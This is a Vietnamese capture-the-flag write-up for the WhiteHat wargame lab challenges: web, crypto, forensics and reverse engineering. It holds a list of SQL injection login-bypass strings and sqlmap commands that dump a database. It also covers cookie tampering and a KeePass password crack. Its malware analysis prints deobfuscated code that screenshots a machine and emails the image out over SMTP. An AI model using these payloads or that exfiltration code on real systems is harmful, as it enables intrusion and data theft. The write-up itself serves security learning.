You are on page 1of 38

WRITEUP CTF

WARGAME.WHITEHAT.VN

-26/01/2015 -
TÀI LIỆU NÀY PHỤC VỤ
MỤC ĐÍCH HỌC TẬP
BẤT KỲ AI CŨNG CÓ THỂ
SỬ DỤNG
NHƯNG HÃY TÔN TRỌNG
TÁC GIẢ BẰNG CÁCH
TRÍCH DẪN TÊN TÁC GIẢ
NẾU SỬ DỤNG NỘI DUNG
TRONG BÀI VIẾT
- HOANGCUONGFLP –
Mục Lục
I. Web Application. .................................................................................................4
a. Web001 .............................................................................................................4
b. Web002 .............................................................................................................4
c. Web003 .............................................................................................................5
d. Web004 .............................................................................................................7
e. Web005 ...........................................................................................................10
f. Web006 ...........................................................................................................11
II. Crytography. ......................................................................................................14
a. Crypto001 .......................................................................................................14
b. Crypto002 .......................................................................................................14
c. Crypto003 .......................................................................................................15
d. Crypto004 .......................................................................................................15
e. Crypto005 .......................................................................................................16
III. Forensic. .........................................................................................................18
a. For001 .............................................................................................................18
b. For002 .............................................................................................................19
IV. Reverse Enginnering. .....................................................................................25
a. Re001 ..............................................................................................................25
b. Re002 ..............................................................................................................29
c. Re003 ..............................................................................................................38
WRITEUP CTF WARGAME.WHITEHAT
I. Web Application.
a. Web001
http://lab10.wargame.whitehat.vn/web001/
Bài này rất đơn giản. Ctrl+U xem source code là có flag

Ctrl + U ta được:

Flag: WhiteHat{f6faf5e94db80f28e0ce18a1d8599c16ab1b3c1c}
b. Web002
Link: http://lab10.wargame.whitehat.vn/web002/
Trên trang không có thông tin gì, xem gợi ý bằng cách xem source code.
Ta có: <!-- No more information leaks!! Not even Google will find it this time... --
>
Như vậy nghĩa là nó chặn các cỗ máy tìm kiếm bằng tệp tin robots.txt. Ta thử mở
tệp tin này trên trình duyệt.

Mở tiếp địa chỉ: http://lab10.wargame.whitehat.vn/web002//protected/s3cr3t.txt Ta


có flag.

Flag: WhiteHat{f3c3b1dd80fe22038857661a75db31612bf3695c}
c. Web003
Link: http://lab10.wargame.whitehat.vn/web003/
Xem source code:

Đăng nhập vào bằng Username/Password là test/test.

Tới đây, ta có hai hướng đoán để khai thác. Một là SQL Injection hai là trang này
quản lý phiên đăng nhập người dùng bằng Cookie. Ta thử với Cookie trước. Sử
dụng trình duyệt Firefox và Addon Temper Data.
Thay đổi giá trị: user=test thành user=admin. Ta được

Flag: WhiteHat{c626978503a7feafab95edeb084be0a35271c754}
d. Web004
Link: http://lab10.wargame.whitehat.vn/web004/

Yêu cầu đăng nhập bằng Password, nhưng ta không có. Vậy sẽ xem source code.
Ta có một đoạn mã java script đã được làm rối (obfuscated).
Đối với những bài dạng này, ta copy đoạn script. Ấn F12 trên trình duyệt Chrome,
chuyển sang tab Console để thực thi script. Và sẽ nhận được script ở bản rõ.

Ấn Enter để chạy script, và ta chuyển sang tab Sources để xem mã.

Đoạn mã như sau:


(function() {
var arr=["a","b","e","g","o","n","s","r","t","y","z","f","d","k","m"];var
correct="";for(i=0;i<15;i++){if(i<=10){correct+=arr[i+2];}
else{correct+=arr[i-5];}
}
$("form").submit(function(event){if($("input:first").val()===correct){return;}
alert("Incorrect!");
event.preventDefault();
});
})
Ta chỉ cần chú ý tới đoạn bôi đỏ. Copy đoạn này và thêm một dòng code thông báo
ra $correct là ta có được password. Ta có:
{
var arr=["a","b","e","g","o","n","s","r","t","y","z","f","d","k","m"];
var correct="";for(i=0;i<15;i++)
{if(i<=10){
correct+=arr[i+2];}

else{
correct+=arr[i-5];
}
}
alert(correct);
}
Và kết quả là:

Nhập password là: egonsrtyzfdsrty


Ta được flag:
Flag: WhiteHat{6b76dd466543906fd5876c76b414de500b45541b}
e. Web005
Link: http://lab10.wargame.whitehat.vn/web005/
Ta nhận được một Form đăng nhập. Với những dạng bài như vậy, ta đoán được
rằng yêu cầu phải khai thác lỗi SQL injection để bypass login.
Ta thử với một vài câu truy vấn SQL thường sử dụng như:
'-'
''
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
""
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
Trong bài này ta sử dụng: Username: ‘or ‘1’=’1’-- - Password: cuongdeptrai

Flag: WhiteHat{02b2596378b237bde0efa1456f603103af663940}
f. Web006
Link: http://lab10.wargame.whitehat.vn/web006/

Với bài này, ta đoán được trang bị lỗi SQL Injection. Nhân dịp bài Writeup, sẽ giới
thiệu luôn công cụ SQL Map sử dụng để khai thác lỗi SQL injection một cách tự
động và nhanh chóng. SQL map là một chương trình được viết bằng ngôn ngữ lập
trình Python, nên sử dụng được cả trên Windows và Linux.
Tải SQL Map tại địa chỉ: https://github.com/sqlmapproject/sqlmap
Ta sử dụng sqlmap để khai thác thại đường link:
http://lab10.wargame.whitehat.vn/web006/index.php?id=1 như sau:
H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --dbs
Chương trình tìm được 2 CSDL là:
 db_profile
 information_schema

Ta tiến hành truy vấn để lấy được danh sách các bảng trong CSDL: db_profile
H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --tables -D db_profile

Ta nhận được 3 bảng là:


 tbl_flag
 tbl_manage
 tbl_user
Tiếp theo, ta tìm kiếm các cột trong bảng “tbl_flag” vì nghi ngờ trong bảng này
chứa flag.
H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --columns -D db_profile -T tbl_flag

Ta dump dữ liệu về, sử dụng câu lệnh:


H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --dump -D db_profile -T tbl_flag

Không có flag, vậy ta cần tìm trong bảng khác. Tìm trong bảng tiếp theo
“tbl_manage”.
H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --columns -D db_profile -T tbl_manage
Dump dữ liệu trong bảng này ta được:
H:\sqlmap>python sqlmap.py -u
http://lab10.wargame.whitehat.vn/web006/index.php?
id=1 --dump -D db_profile -T tbl_manage

Như vậy, đã có được flag:


Flag: WhiteHat{04dec56bd88923b103c7321d2eae499003b55c55}
II. Crytography.
a. Crypto001
Giải mã thông điệp sau đây:
CnozkNgz{18571g0397188h59279l30g18j82l2g28gi4i1hj}
Với “CnozkNgz” được mã hóa Ceaser với k=6, Đối với số ta lấy số đó trừ 6 và lấy
giá trị tuyệt đối. VD |1-6| = |-5| = 5; 8 – 6 = 2;
Từ trên ta có kết quả.
WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}
b. Crypto002
Giải mã thông điệp sau đây:
Wc0cah7653i6e19te858e9fc2Hf96fa0167tc9d8{0eb5d00b}
Wc0ca
h7653
i6e19 Ta tách chuỗi trên thành 5 chuỗi nhỏ, mỗi chuỗi 5 ký tự. Vì
te858 flag có dạng WhiteHat{xxx} Nên ta nhận thấy, chữ cái đầu
e9fc2 tiên của mỗi chuỗi nhỏ sẽ được nối với nhau thành Flag.
Như vậy,Flag sẽ được viết thành là:
Hf96f
a0167
tc9d8 WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}

{0eb5
d00b}

c. Crypto003
Giải mã thông điệp sau đây:
Waa02f150}h{60839c35it0b2f91eata2ab13d75eH305ab2d1

Waa02
f150}
h{608
Flag:
39c35
WhiteHat{aa60230ab00282b5a1f3f1993b2d1c503e7d15a5}
it0b2
f91ea
Cách một dòng là một đoạn bắt đầu của ký tự tiếp theo
ta2ab
trong flag.
13d75
eH305
ab2d1

d. Crypto004
Giải mã thông điệp sau đây:
iWehttH2a{b41477a26b5186def17d4fea77ba961950913}eb
iWeht iWeht -> White
tH2a{ tH2a{ -> Hat{2
b4147 b4147 -> 44b71
7a26b 7a26b -> a67b2
5186d 5186d -> 165d8 WhiteHat{244b71a67b2165d8f
ef17d ef17d -> f7ed1 7ed1fa47eb976a901953e1b}
4fea7 4fea7 -> fa47e
7ba96 7ba96 -> b976a
19509 19509 -> 90195
13}eb 13}eb -> 3e1b}

Flag: WhiteHat{244b71a67b2165d8f7ed1fa47eb976a901953e1b}
e. Crypto005
Giải mã thông điệp sau đây
http://lab20.wargame.whitehat.vn/Crypto005.txt
Nội dung tệp Crypto005.txt:
REOHO GHO RXZ VGBQF GDDHZGFEOB RZ CQBFWBBQPT REO
BOFWHQRM ZL G FHMDRZBMBROS. FZSDWRGRQZPGA BOFWHQRM
REQB SOGBWHO FZPFOHPB REO FZSDWRGRQZPGA OLLZHR
HONWQHOC RZ VHOGJ G FHMDRZBMBROS. XO SQTER COLQPO G
FHMDRZBMBROS RZ VO FZSDWRGRQZPGAAM BOFWHO QL REO
VOBR GATZHQRES LZH VHOGJQPT QR HONWQHOB GR AOGBR P
ZDOHGRQZPB, XEOHO P QB BZSO BDOFQLQOC, UOHM AGHTO
PWSVOH. REO DHZVAOS QB REGR PZ JPZXP DHGFRQFGA
FHMDRZBMBROS FGP VO DHZUOC RZ VO BOFWHO WPCOH REQB
COLQPQRQZP. QP DHGFRQFO, DOZDAO XQAA FGAA G
FHMDRZBMBROS “FZSDWRGRQZPGAAM BOFWHO” QL REO VOBR
JPZXP SOREZC ZL VHOGJQPT REO BMBROS HONWQHOB GP
WPHOGBZPGVAM AGHTO GSZWPR ZL FZSDWROH RQSO (VWR REQB
QB ZL FZWHBO UOHM CQLLOHOPR LHZS G DHZZL ZL BOFWHQRM).
GPZREOH GDDHZGFE QB RZ DHZUQCO OUQCOPFO ZL
FZSDWRGRQZPGA BOFWHQRM VM HOCWFQPT REO BOFWHQRM ZL
REO FHMDRZBMBROS RZ BZSO XOAA-BRWCQOC DHZVAOS REGR
QB REZWTER RZ VO CQLLQFWAR. LZH OYGSDAO, QR SGM VO
GVAO RZ DHZUO G BRGROSOPR ZL REO RMDO “G TQUOP
FHMDRZBMBROS QB BOFWHO QL G TQUOP QPROTOH P FGPPZR VO
LGFRZHOC.” FHMDRZBMBROSB ZL REQB RMDO GHO BZSORQSOB
ROHSOC “DHZUGVAM BOFWHO,” VWR QR SWBR VO WPCOHBRZZC
REGR REQB GDDHZGFE ZPAM DHZUQCOB G DHZZL ZL BOFWHQRM
HOAGRQUO RZ BZSO ZREOH DHZVAOS, PZR GP GVBZAWRO DHZZL
ZL BOFWHQRM. WPFZPCQRQZPGA BOFWHQRM REQB SOGBWHO
FZPFOHPB REO BOFWHQRM ZL FHMDRZBMBROSB XEOP REOHO QB
PZ VZWPC DAGFOC ZP REO GSZWPR ZL FZSDWRGRQZP REGR
ZBFGH QB GAAZXOC RZ CZ. G FHMDRZBMBROS QB COLQPOC RZ
VO WPFZPCQRQZPGAAM BOFWHO QL QR FGPPZR VO VHZJOP, OUOP
XQRE QPLQPQRO FZSDWRGRQZPGA HOBZWHFOB.
MZW LQPGAAM FGDRWHO REO LAGT ZL REQB FEGAAOPTO:
“BWVBRQRWRQZP”
BWVSQR MZWH BEG1 ZL REO LAGT RZ FZSDAORO FEGAAOPTO
Sử dụng công cụ http://quipqiup.com/index.php để giải mã thông điệp. Thông điệp
sau khi giải mã là:
THERE ARE TWO BASIC APPROACHES TO DISCUSSING THE
SECURITY OF A CRYPTOSYSTEM. COMPUTATIONAL SECURITY THIS
MEASURE CONCERNS THE COMPUTATIONAL EFFORT REQUIRED TO
BREAK A CRYPTOSYSTEM. WE MIGHT DEFINE A CRYPTOSYSTEM TO
BE COMPUTATIONALLY SECURE IF THE BEST ALGORITHM FOR
BREAKING IT REQUIRES AT LEAST N OPERATIONS, WHERE N IS
SOME SPECIFIED, VERY LARGE NUMBER. THE PROBLEM IS THAT NO
KNOWN PRACTICAL CRYPTOSYSTEM CAN BE PROVED TO BE
SECURE UNDER THIS DEFINITION. IN PRACTICE, PEOPLE WILL CALL
A CRYPTOSYSTEM ?COMPUTATIONALLY SECURE? IF THE BEST
KNOWN METHOD OF BREAKING THE SYSTEM REQUIRES AN
UNREASONABLY LARGE AMOUNT OF COMPUTER TIME (BUT THIS IS
OF COURSE VERY DIFFERENT FROM A PROOF OF SECURITY).
ANOTHER APPROACH IS TO PROVIDE EVIDENCE OF
COMPUTATIONAL SECURITY BY REDUCING THE SECURITY OF THE
CRYPTOSYSTEM TO SOME WELL-STUDIED PROBLEM THAT IS
THOUGHT TO BE DIFFICULT. FOR EXAMPLE, IT MAY BE ABLE TO
PROVE A STATEMENT OF THE TYPE ?A GIVEN CRYPTOSYSTEM IS
SECURE IF A GIVEN INTEGER N CANNOT BE FACTORED.?
CRYPTOSYSTEMS OF THIS TYPE ARE SOMETIMES TERMED
?PROVABLY SECURE,? BUT IT MUST BE UNDERSTOOD THAT THIS
APPROACH ONLY PROVIDES A PROOF OF SECURITY RELATIVE TO
SOME OTHER PROBLEM, NOT AN ABSOLUTE PROOF OF SECURITY.
UNCONDITIONAL SECURITY THIS MEASURE CONCERNS THE
SECURITY OF CRYPTOSYSTEMS WHEN THERE IS NO BOUND PLACED
ON THE AMOUNT OF COMPUTATION THAT OSCAR IS ALLOWED TO
DO. A CRYPTOSYSTEM IS DEFINED TO BE UNCONDITIONALLY
SECURE IF IT CANNOT BE BROKEN, EVEN WITH INFINITE
COMPUTATIONAL RESOURCES. YOU FINALLY CAPTURE THE FLAG
OF THIS CHALLENGE: ?SUBSTITUTION? SUBMIT YOUR SHA1 OF THE
FLAG TO COMPLETE CHALLENGE
Như vậy, ta cần mã băm sha1 của: SUBSTITUTION
Flag: WhiteHat{81996be59f9e456b335d9d0efc432b0e96aef8d2}
III. Forensic.
a. For001
Ở bài này, ta nhận được 3 tệp tin: Application.evtx; registry.reg và Security.evtx.
Trong đó hai tệp tin Application.evtx và Security.evtx là tệp ghi lại các sự kiện
trên Hệ điều hành Windows, hay còn gọi là Windows Event Logs. Ta có thể sử
dụng Windows để có thể đọc được những tệp tin này, hoặc sử dụng công cụ phân
tích giúp thuận tiện trong công viêc. Trong bài viết, có sử dụng công cụ “Event
Log Explorer” download tại http://www.eventlogxp.com/. Và tệp tin registry.reg
là tệp tin “chụp” lại thông tin cấu hình Regedit của Windows với các giá trị Khóa
là những giá trị mang thông tin cấu hình cho các ứng dụng và Hệ điều hành.
- Phân tích tệp tin “Application.evtx” ta có:
+ Đầu tiên, với sự kiện 903: The Software Protection service has stopped. Cho biết
dịch vụ “The Software Protection” đã bị ngắt tại thời điểm 1h:01:01PM. Sau đó,
dịch vụ “The VSS service is shutting down due to idle timeout.” Cũng bị tắt do trễ
giờ.
+ Tiếp theo, Event ID 902 — RD Connection Broker Availability được khởi chạy.
Theo tài liệu trên MSDN thì sự kiện này là sự kiện thông báo rằng có thể tài khoản
người dùng sử dụng dịch vụ “Remote Desktop” không có trong nhóm được quyền
này. Link: https://technet.microsoft.com/en-us/library/ee890857(v=WS.10).aspx
+ Sau đó sự kiện 1003 được chạy, thể hiện Dịch vụ phần mềm bảo vệ đã hoàn
thành quá trình kiểm tra hoạt động cấp phép với id= 55c92734-d682-4d71-983e-
d6ec3f16059f.
+ Tiếp sau đó là sự kiện 1006 – Khởi tạo một đối tượng dịch vụ.
+ Tiếp sau đó dịch vụ “The Windows Security Center Service has started.” Mới
được khởi động.
+ Cuối cùng là khởi tạo lại dịch vụ : “The Software Protection service is starting.
Parameters:(null)” lại như lúc trước và không truyền vào tham số nào.
 Như vậy, rất có thể đã có kẻ tấn công cố tình làm ngừng dịch vụ Bảo vệ
phần mềm “The Software Protection service” và dịch vụ “Trung tâm an ninh
Windows” để khởi chạy một ứng dụng nào đó, và đăng ký trở thành một
dịch vụ với ID là: 55c92734-d682-4d71-983e-d6ec3f16059f. Từ một người
dùng không có đặc quyền sử dụng dịch vụ Remote Desktop.
- Phân tích tệp tin “Security”.
+ Thôi dài quá  Không chơi nữa.
Tìm flag trong tệp tin registry.reg tại khóa:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Common\Diag
nostics]
"Address"="Z29vLmdsL0NtenFxTg"
Base64.b64decode(‘Z29vLmdsL0NtenFxTg’) = goo.gl/CmzqqN
curl –d goo.gl/CmzqqN to get flag
Flag: WhiteHat{de6c5000972c7e3c7625d6663bfcc5881960acec}
b. For002
Đề bài là một tệp tin ghi lại quá trình truyền tin trong mạng. Mở tệp tin bằng
WireShark. Phân tích dữ liệu, chú ý tới giao thức “YMSG” là giao thức truyền tin
nhắn qua Yahoo Messager.
Bấm chuột phải chọn “Follow TCP” Ta thấy được nội dung chat giữa hai nick
name là: stark_n00b và hulk1e37.
Nội dung tin nhắn như sau:
YMSG.............@..0..stark_n00b..YMSG.....7.K.....@..49..TYPING..1..stark_n00
b..5..hulk1e37..241..0..13..1..YMSG.....+.......@..1..stark_n00b..5..hulk1e37..241.
.0..13..1..YMSG........ZU.V.@..1..stark_n00b..5..hulk1e37..241..0..97..1..14..<fo
nt face="Times New Roman" size="11">Hey Hul<font
face="Arial">k..455..20883629e855570816db2a2503e80264..64..0..63..;0..429..
0000000045513C1C..450..0..YMSG.....7.......@..15..1422008016..455..2088362
9e855570816db2a2503e80264..YMSG.....P.......@..4..hulk1e37..5..stark_n00b..3
02..430..430..0000000045513C1C..303..430..450..0...YMSG.....7.K.....@..49..T
YPING..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG........ZU.V.@..1..stark_
n00b..5..hulk1e37..241..0..97..1..14..<ding>..455..e00034e50dff1777a4810f24bc
257656..64..0..63..;0..429..0000000145513C1C..450..0..YMSG.....8.......@..15..1
422008035..455..e00034e50dff1777a4810f24bc257656...YMSG.....O.......@..4..h
ulk1e37..5..stark_n00b..302..430..430..0000000145513C1C..303..430..450..0..Y
MSG.....?.K.....@..4..hulk1e37..5..stark_n00b..13..1..14..
..49..TYPING..241..0...YMSG.............@..4..hulk1e37..5..stark_n00b..14..Yep..1
5..1422008045..63..;0..64..0..97..1..241..0..252..VEeh1YoSUkGuE/G70Qdo3lLs
mHCMHQ==..429..0000000047FA58C8..450..0..455..6907dfb0d4eab211d81cb
84750487aa0...YMSG.....O.......@..1..stark_n00b..5..hulk1e37..302..430..430..00
00000047FA58C8..303..430..450..0..YMSG.....>.K.....@..4..hulk1e37..5..stark_n
00b..13..0..14..
..49..TYPING..241..0..YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1
e37..241..0..13..1..YMSG.....2..ZU.V.@..1..stark_n00b..5..hulk1e37..241..0..97..
1..14..<font face="Times New Roman" size="11">I have just shared you a work
folder. For safety, I put the link and password to this folder in a file. The link to
the file is
here..455..7c925e716847b2d8fb0968eb93f77390..64..0..63..;0..429..0000000245
513C1C..450..0..YMSG.....\.......@..4..hulk1e37..1..hulk1e37..5..stark_n00b..302.
.430..430..0000000245513C1C..303..430..450..0..YMSG.....7.K.....@..49..TYPI
NG..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG.............@..0..stark_n00b..
YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..241..0..13..1..YM
SG..... ..ZU.V.@..1..stark_n00b..5..hulk1e37..241..0..97..1..14...[4m.[#0563c1m
<font face="Times New Roman"
size="11">http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e
9842611ade67a.kdb..455..6186ff82f186d9002e1c1a166937da03..64..0..63..;0..4
29..0000000345513C1C..450..0..YMSG.....7.......@..15..1422008080..455..6186f
f82f186d9002e1c1a166937da03..YMSG.....\.......@..4..hulk1e37..1..hulk1e37..5..
stark_n00b..302..430..430..0000000345513C1C..303..430..450..0..YMSG.....7.K
.....@..49..TYPING..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG.....E.K.....
@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1...YMSG..
...........@..4..hulk1e37..1..hulk1e37..5..stark_n00b..241..0..97..1..14..Okey, thank
you sir. But I find the file is password-protected. You mind telling me the
password for this file?
..455..e3326f88983630fa1c3deff648b67b6f..64..0..63..;0..429..0000000147FA58
C8..450..0...YMSG.....O.......@..1..stark_n00b..5..hulk1e37..302..430..430..00000
00147FA58C8..303..430..450..0..YMSG.....D.K.....@..4..hulk1e37..49..TYPING.
.1..hulk1e37..5..stark_n00b..241..0..13..0..YMSG.....b.......@..302..518..300..518.
.1..stark_n00b..5..hulk1e37..241..0..301..518..303..518..13..2..1..stark_n00b..YM
SG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..241..0..13..1..YMSG..
......ZU.V.@..1..stark_n00b..5..hulk1e37..241..0..97..1..14..<font face="Times
New Roman" size="11">Oh. It...s the 5-digits number that we talk about all the
time. You remember
it?..455..66a4448443bb52048218bb289de7f6d2..64..0..63..;0..429..00000004455
13C1C..450..0..YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..24
1..0..13..0..YMSG.....].......@..4..hulk1e37..1..hulk1e37..5..stark_n00b..302..430..
430..0000000445513C1C..303..430..450..0...YMSG.....D.K.....@..4..hulk1e37..4
9..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1..YMSG.............@..4..hulk
1e37..1..hulk1e37..5..stark_n00b..241..0..97..1..14..Yeah I see. Now I have the
link and pass to the shared folder. Thank you for the work you assigned
me!..455..b372cbdec71b223cd0efb0c2dabd86b3..64..0..63..;0..429..0000000247
FA58C8..450..0...YMSG.....O.......@..1..stark_n00b..5..hulk1e37..302..430..430..
0000000247FA58C8..303..430..450..0..YMSG.....D.K.....@..4..hulk1e37..49..TY
PING..1..hulk1e37..5..stark_n00b..241..0..13..0..YMSG.............@..0..stark_n00b
..YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..241..0..13..1..Y
MSG.....p..ZU.V.@..1..stark_n00b..5..hulk1e37..241..0..97..1..14..<font
face="Times New Roman" size="11">Good job man. Now I have an important
file in the folder that I want you to check it out. I don...t remember the name of
the file, but there...s something relates to "YUNFU" in the content of
it...455..689fddd8393a3f0cf7f3aa995c4c3fd8..64..0..63..;0..429..0000000545513
C1C..450..0..YMSG.....].......@..4..hulk1e37..1..hulk1e37..5..stark_n00b..302..43
0..430..0000000545513C1C..303..430..450..0...YMSG.....7.K.....@..49..TYPING
..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG.....D.K.....@..4..hulk1e37..49..
TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1..YMSG.............@..4..hulk1e3
7..1..hulk1e37..5..stark_n00b..241..0..97..1..14..Ok, I'll check
now..455..5269f451cd54b7ae49008c08c2fb7a9e..64..0..63..;0..429..0000000347
FA58C8..450..0..YMSG.....O.......@..1..stark_n00b..5..hulk1e37..302..430..430..
0000000347FA58C8..303..430..450..0..YMSG.....E.K.....@..4..hulk1e37..49..TY
PING..1..hulk1e37..5..stark_n00b..241..0..13..0...YMSG.............@..0..stark_n00
b..
Chú ý tới đoạn chữ được bôi đỏ, ta có một đường link:
http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e9842611ade6
7a.kdb
Đường link này cho phép download một tệp tin
stark_4bf8125fc8eae262a9e9842611ade67a.kdb là một tệp tin được mã hóa bởi
thuật toán AES sử dụng để lưu trữ mật khẩu cho phần mềm KeePass 1.0 để mở.

Tệp tin được đặt mật khẩu có 5 ký tự là chữ số. Sử dụng JonhRipper crack mật
khẩu ta được mật khẩu là: 61930.
Tiến hành mở bằng KeePass ta được:
- Một đường link:
http://lab40.wargame.whitehat.vn/for002/4fad5214bb6d00b11565fa63af289
b02/
- Một tên người dùng: stark
- Một mật khẩu: 887dc49de54042a27a800a1e23429b5a
Sử dụng thông tin trên, truy cập vào đường link.

Có rất nhiều tệp tin văn bản. Nhưng tệp tin: High-Speed Rail, Regional
Economics.docx là tệp có thời gian khác nhất so với tệp tin khác, khả năng cao flag
sẽ nằm ở đây. Giải nén tệp tin bằng 7Zip. Tìm thấy trong thư mục \High-Speed
Rail, Regional Economics\docProps\flag.xml ta tìm thấy Flag.

Flag: WhiteHat{1a4df3727f5ed3af27f2ff21beb3e0a5b6bc4321}
IV. Reverse Enginnering.
a. Re001
MD5,0D7128A7F14ACF070BF08E38 MD5,0D7128A7F14ACF070BF08E38
366505BB 366505BB
SHA1,299793DAF0EAB8B9017441F SHA1,299793DAF0EAB8B9017441F
BDE1327BDC93690B0 BDE1327BDC93690B0
File Description,n/a File Description,n/a
File Version,n/a File Version,n/a
Creation time,23:01:2015 - 06:59:52 Creation time,23:01:2015 - 06:59:52
Access time,21:10:2014 - 03:04:46 Access time,21:10:2014 - 03:04:46
Modification Time,21:10:2014 - Modification Time,21:10:2014 -
03:04:46 03:04:46
CPU,32-bit CPU,32-bit
Size (bytes),108544 Size (bytes),108544
Type,Dynamic-link library Type,Dynamic-link library
SubSystem,Windows GUI SubSystem,Windows GUI
Đề bài cho ta một tệp tin .DLL, nhiệm vụ là phải tìm ra flag trong tệp tin này. Load
tệp tin này vào IDA tìm các hàm exports. Kiểm tra tệp tin có bị pack không.
Như vậy là tệp tin được build bằng Visual C++ 6.0 và không pack.

Như vậy là có 6 hàm được exports. Load vào Ollydbg để debug. Nhìn hàm “luch”
có vẻ khả nghi, ta sẽ tiến hành debug hàm này trước.
Load vào Ollydbg -> Seach -> All referent strings Ta được:

Là các chuỗi khả nghi, ta click đúp chuột trái vào và đặt breakpoint tại đây.
Mở menu trong Ollydbg: Debug -> Call DLL Exports.

Chọn hàm “luch” bấm Follow CPU. Sau đó bấm Call Export.
Chương trình sẽ dừng tại nơi đặt BreakPoint.

Tiếp tục trace bằng phím F8. Tới hàm JNZ SHORT 1000D3AC bấm F7 để vào
xem hàm thực hiện bên trong.
Tiếp tục trace bằng lệnh F8. Ta được flag như hình dưới đây:

Flag: WhiteHat{10E5866050D20AFE8CCAE04456491DB7908A96EC}
b. Re002
Ta nhận được một tệp tin như sau:
Tệp tin được build bằng Microsoft Visual Studio .NET. Sử dụng .NET Reflector
để dịch ngược mã.
Nhưng khi mở tệp tin lên, ta nhận được những dòng code rất khó hiểu. Như vậy là
tệp tin đã được làm rối mã (Obfuscated), ta cần tiến hành làm sạch mã
(deobfuscator) để có thể đọc được mã thật sự của nó. Trong phần này, sử dụng
công cụ de4dot.net để có thể làm sạch mã của chương trình.
Mã của tệp tin đã bị làm rối

Tệp tin đã được làm sạch mã, tiến hành mở bằng .NET Reflector ta được.
Như vậy là chương trình sẽ giải mã resource để nạp vào bộ nhớ và thực hiện kỹ
thuật thực thi trên bộ nhớ để chạy mã độc. Ta cần phải giải mã resource để có thể
phân tích tiếp.
Ta cần lấy được đối tượng resource là “obj” bằng cách: Tìm tới mục Resource
trong .NET Reflector, chọn Save as như hình dưới. Tiến hành lưu ra một tệp tin
khác.
Tận dụng hàm giải mã bên trong trương trình vừa dịch ngược được ta có chương
trình để trích xuất mã độc như sau.
Tiếp tục phân tích mã độc được giải mã.
Lần này, mã độc được nén bằng IL4Decompressor. Và “giấu” trong resource với
tên là “data”. Ta cần giải mã “data” để có được mã độc thực thi tiếp theo.

Chương trình giải mã sử dụng thư viện IL4Decompressor.


Dễ dàng ta có được phần giải mã tiếp theo của mã độc bằng chương trình giải mã
trên.
Tiếp tục phân tích tệp tin được sinh ra.

Tệp tin này cũng được làm rối mã, ta cần làm sạch mã trước khi phân tích bằng
de4dot. Sau khi làm sạch ta được.
public static void smethod_3(string string_2)
{
try
{
Stream contentStream = smethod_17(smethod_16(),
ImageFormat.Jpeg);
SmtpClient client = new SmtpClient();
MailMessage message = new MailMessage();
client.Credentials = new
NetworkCredential(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`)^jh"),
NativeMethods.GiaiMaString(@"ap^f]md\i"));
client.Port = 0x24b;
client.Host = "Smtp.live.com";
message = new MailMessage {
From = new
MailAddress(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`)^jh"))
};

message.To.Add(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`)^jh"));
message.Subject = NativeMethods.GiaiMaString("Rcdo`C\\ov+2.<-
A,=A33+0>0,@.-2>/.=.31.,.41,@--4+3/x\x001c");
message.Body = "Your Flag is set in the email subject! Can u read ?";
new ContentType("image/jpeg");
message.Attachments.Add(new Attachment(contentStream,
NativeMethods.GiaiMaString("N^m``incjo)ek`b")));
client.EnableSsl = true;
client.Send(message);
}
catch (Exception exception)
{
ProjectData.SetProjectError(exception);
ProjectData.ClearProjectError();
}
}
Từ hàm GiaiMaString và dữ liệu nhận được, ta viết chương trình để có được Flag.
Flag: WhiteHat{073A2F1BF8805C51E327C43B386313961E229084}
c. Re003

You might also like